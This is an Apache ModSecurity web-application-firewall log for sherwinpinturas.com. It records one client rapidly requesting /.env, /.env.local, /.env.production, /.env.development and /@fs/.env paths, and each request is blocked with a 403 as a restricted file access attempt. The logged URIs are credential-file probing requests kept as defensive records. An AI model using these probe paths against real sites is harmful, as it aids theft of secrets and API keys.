[Mon Oct 26 00:33:59.350149 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YNx4YFEkUWtPrht_QhwAAAAs"]
[Mon Oct 26 00:33:59.350622 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YNx4YFEkUWtPrht_QhwAAAAs"]
[Mon Oct 26 00:33:59.350858 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YNx4YFEkUWtPrht_QhwAAAAs"]
[Mon Oct 26 00:33:59.374038 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at7YN1QkxmE60qPo5GrpigAAAAE"]
[Mon Oct 26 00:33:59.374466 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at7YN1QkxmE60qPo5GrpigAAAAE"]
[Mon Oct 26 00:33:59.374707 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at7YN1QkxmE60qPo5GrpigAAAAE"]
[Mon Oct 26 00:33:59.375987 2026] [security2:error] [pid 2963510:tid 2963510] [client 34.80.157.212:47010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN3_7HYvsuiPnT8zGlgAAAAM"]
[Mon Oct 26 00:33:59.376174 2026] [security2:error] [pid 2963511:tid 2963511] [client 34.80.157.212:47046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN-FKo_rEHL8b6JNooAAAAAQ"]
[Mon Oct 26 00:33:59.376624 2026] [security2:error] [pid 2963510:tid 2963510] [client 34.80.157.212:47010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN3_7HYvsuiPnT8zGlgAAAAM"]
[Mon Oct 26 00:33:59.376743 2026] [security2:error] [pid 2963511:tid 2963511] [client 34.80.157.212:47046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN-FKo_rEHL8b6JNooAAAAAQ"]
[Mon Oct 26 00:33:59.376916 2026] [security2:error] [pid 2963510:tid 2963510] [client 34.80.157.212:47010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN3_7HYvsuiPnT8zGlgAAAAM"]
[Mon Oct 26 00:33:59.377230 2026] [security2:error] [pid 2963511:tid 2963511] [client 34.80.157.212:47046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN-FKo_rEHL8b6JNooAAAAAQ"]
[Mon Oct 26 00:33:59.594678 2026] [ssl:error] [pid 2963515:tid 2963515] (70014)End of file found: [client 52.203.152.231:44498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:59.615619 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YNxNY8krM563TMfK99QAAABI"]
[Mon Oct 26 00:33:59.616108 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YNxNY8krM563TMfK99QAAABI"]
[Mon Oct 26 00:33:59.616380 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YNxNY8krM563TMfK99QAAABI"]
[Mon Oct 26 00:33:59.938339 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YNx4YFEkUWtPrht_QiAAAAAs"]
[Mon Oct 26 00:33:59.939027 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YNx4YFEkUWtPrht_QiAAAAAs"]
[Mon Oct 26 00:33:59.939449 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YNx4YFEkUWtPrht_QiAAAAAs"]
[Mon Oct 26 00:33:59.942027 2026] [security2:error] [pid 2961908:tid 2961908] [client 34.80.157.212:46996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7YN1VbL92lb6khT45ozAAAACE"]
[Mon Oct 26 00:33:59.942349 2026] [security2:error] [pid 2961908:tid 2961908] [client 34.80.157.212:46996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7YN1VbL92lb6khT45ozAAAACE"]
[Mon Oct 26 00:33:59.942617 2026] [security2:error] [pid 2961908:tid 2961908] [client 34.80.157.212:46996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7YN1VbL92lb6khT45ozAAAACE"]
[Mon Oct 26 00:33:59.977857 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YNxI7Pq_EK1Ick-P9fAAAACQ"]
[Mon Oct 26 00:33:59.978532 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YNxI7Pq_EK1Ick-P9fAAAACQ"]
[Mon Oct 26 00:33:59.979027 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YNxI7Pq_EK1Ick-P9fAAAACQ"]
[Mon Oct 26 00:33:59.979351 2026] [security2:error] [pid 2963511:tid 2963511] [client 34.80.157.212:47046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7YN-FKo_rEHL8b6JNooQAAAAQ"]
[Mon Oct 26 00:33:59.979877 2026] [security2:error] [pid 2963511:tid 2963511] [client 34.80.157.212:47046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7YN-FKo_rEHL8b6JNooQAAAAQ"]
[Mon Oct 26 00:33:59.980132 2026] [security2:error] [pid 2963511:tid 2963511] [client 34.80.157.212:47046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7YN-FKo_rEHL8b6JNooQAAAAQ"]
[Mon Oct 26 00:33:59.981163 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7YN1QkxmE60qPo5GrpiwAAAAE"]
[Mon Oct 26 00:33:59.981595 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7YN1QkxmE60qPo5GrpiwAAAAE"]
[Mon Oct 26 00:33:59.981819 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7YN1QkxmE60qPo5GrpiwAAAAE"]
[Mon Oct 26 00:33:59.987282 2026] [security2:error] [pid 2963510:tid 2963510] [client 34.80.157.212:47010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7YN3_7HYvsuiPnT8zGlwAAAAM"]
[Mon Oct 26 00:33:59.987913 2026] [security2:error] [pid 2963510:tid 2963510] [client 34.80.157.212:47010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7YN3_7HYvsuiPnT8zGlwAAAAM"]
[Mon Oct 26 00:33:59.988318 2026] [security2:error] [pid 2963510:tid 2963510] [client 34.80.157.212:47010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at7YN3_7HYvsuiPnT8zGlwAAAAM"]
[Mon Oct 26 00:34:00.008541 2026] [security2:error] [pid 2963377:tid 2963377] [client 34.80.157.212:46966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YOI26VStI4Zd-KpCMIQAAAAA"]
[Mon Oct 26 00:34:00.008976 2026] [security2:error] [pid 2963377:tid 2963377] [client 34.80.157.212:46966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YOI26VStI4Zd-KpCMIQAAAAA"]
[Mon Oct 26 00:34:00.009375 2026] [security2:error] [pid 2963377:tid 2963377] [client 34.80.157.212:46966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7YOI26VStI4Zd-KpCMIQAAAAA"]
[Mon Oct 26 00:34:00.298763 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YOKNncdtu7DBDOKsCDgAAABs"]
[Mon Oct 26 00:34:00.299306 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YOKNncdtu7DBDOKsCDgAAABs"]
[Mon Oct 26 00:34:00.299756 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YOKNncdtu7DBDOKsCDgAAABs"]
